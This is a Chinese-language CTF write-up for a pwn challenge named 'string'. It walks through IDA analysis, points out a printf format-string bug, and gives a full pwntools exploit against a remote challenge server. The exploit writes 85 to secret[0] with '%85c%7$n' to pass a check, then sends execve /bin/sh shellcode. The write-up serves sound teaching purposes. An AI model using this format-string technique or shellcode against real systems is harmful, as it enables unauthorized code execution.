
image.png
0x00 file和checksec

image.png
0x01 ida查看

image.png
- 上面是主体函数,其中会调用
sub_400D72(v4),其中v4=(__int64)v3
0x02 进入sub_400D72()查看

image.png
- 这里又会调用三个函数,分别进去查看
0x03 sub_400A7D

image.png
- 这里的逻辑是输入
east或up,输入east会break,输入up会进入sub_4009DD,但是进入sub_4009DD分析是不可行的,"YOU ARE DEAD",所以这里选择east
image.png
0x04 sub_400BB9

image.png
- 明显存在printf漏洞,先别急,先把流程看完
0x05 sub_400CA6

image.png
- 这里要求
*a1 == a1[1],也就是a[0] == a[1],而a[1]其实是main里传来的v4 - 重新回到
main查看,v4 = (__int64)v3,*v3 = 68,v3[1] = 85 - 意思就是要求
v3[0] == v3[1],也就是v3[0]=85或v3[1]=68
image.png - 第
17行这里其实是将v1强转为函数指针类型 - 看汇编代码就很容易看出,最后进行了
call调用(这里可以写入shellcode执行)
image.png
0x06 思路
- 思路也就有了,通过
printf任意地址写使得v3[0] == v3[1],这里使得v3[0]=v3[1]=85 - 所以就需要知道
v3[0]的地址,在main函数发现其实secret[0]即v3[0]的地址,所以就可以利用printf任意地址写修改v3[0]处的值了 - 在
64位程序下,前6个参数从左到右依次放到RDI、RSI、RDX、RCX、R8、R9中,所以从n=7开始,我们就可以修改栈中的数据为85
image.png - 这样的话就绕过了
*a1 == a1[1],最后只需写入shellcode调用执行即可
0x07 完整exp
from pwn import *
local=0
pc='./string'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 45969]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
ru('secret[0] is ')
v3_0_addr = int(ru('\n')[:-1], 16)
log.info('v3_0_addr', hex(v3_0_addr))
ru('name be:\n')
sl('cxy')
ru('east or up?:\n')
sl('east')
ru('go into there(1), or leave(0)?:\n')
sl('1')
ru("'Give me an address'\n")
sl(str(v3_0_addr))
ru('you wish is:\n')
sl('%85c%7$n')
ru('SPELL\n')
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
sl(shellcode)
p.interactive()
0x07 结果

image.png



